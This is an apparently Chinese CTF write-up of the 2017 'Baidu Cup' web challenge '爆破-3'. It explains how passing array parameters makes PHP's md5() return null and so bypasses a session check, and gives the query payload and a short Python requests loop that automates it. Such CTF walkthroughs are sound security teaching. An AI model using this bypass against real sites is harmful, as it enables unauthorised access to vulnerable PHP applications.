“百度杯”CTF比赛 2017 二月场,题目名称:爆破-3

刚刚打开就看到404:
“百度杯”CTF比赛 2017 二月场,题目名称:爆破-3_第1张图片
看了下网址,没毛病,于是转到index.php看看:
“百度杯”CTF比赛 2017 二月场,题目名称:爆破-3_第2张图片
已经很清楚了,就是要在120秒内达成这个条件10次就能输出flag了

$ _SESSION['whoami']==( $ value[0]. $ value[1]) && substr(md5($value),5,4)==0

真是如题目所说的,,,爆破,,,,,然后我就想如何?value=(解密的ea000000000000)结果,折腾了一个多小时没搞定,后来去查md5这个函数后,我发现这个思路错的离谱,,,首先,,,md5()加密是单向的,是不能逆运算的,现在的破解都是穷举法,就是像爆破一样准备一个字典,然后一一对照这个字典进行的反向解密,,,,,,所以我这一开始的思路错的离谱,,然后,,在php中,md5是有漏洞的,就是对数组进行md5()加密时,md5()会返回null,所以如果传的是数组,,,后面这个条件就形同虚设,我只要按照他每次返回的两个字母进行数组输入就行了:
?value[0]=e&value[1]=a
在这里插入图片描述
然后把e和a换成新的字母,这样十次之后结果就出来了:
在这里插入图片描述
或者你也可以用python跑出来,我这里有python的脚本:

import requests
url='你自己的题目网址'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
    html=session.get(url+'?value[]='+ html[0:2]).text
print(html)

这里的import requests
如果没有安装并引进这个requests包,运行该程序会报错的。这里注意一下。

你可能感兴趣的:(作业)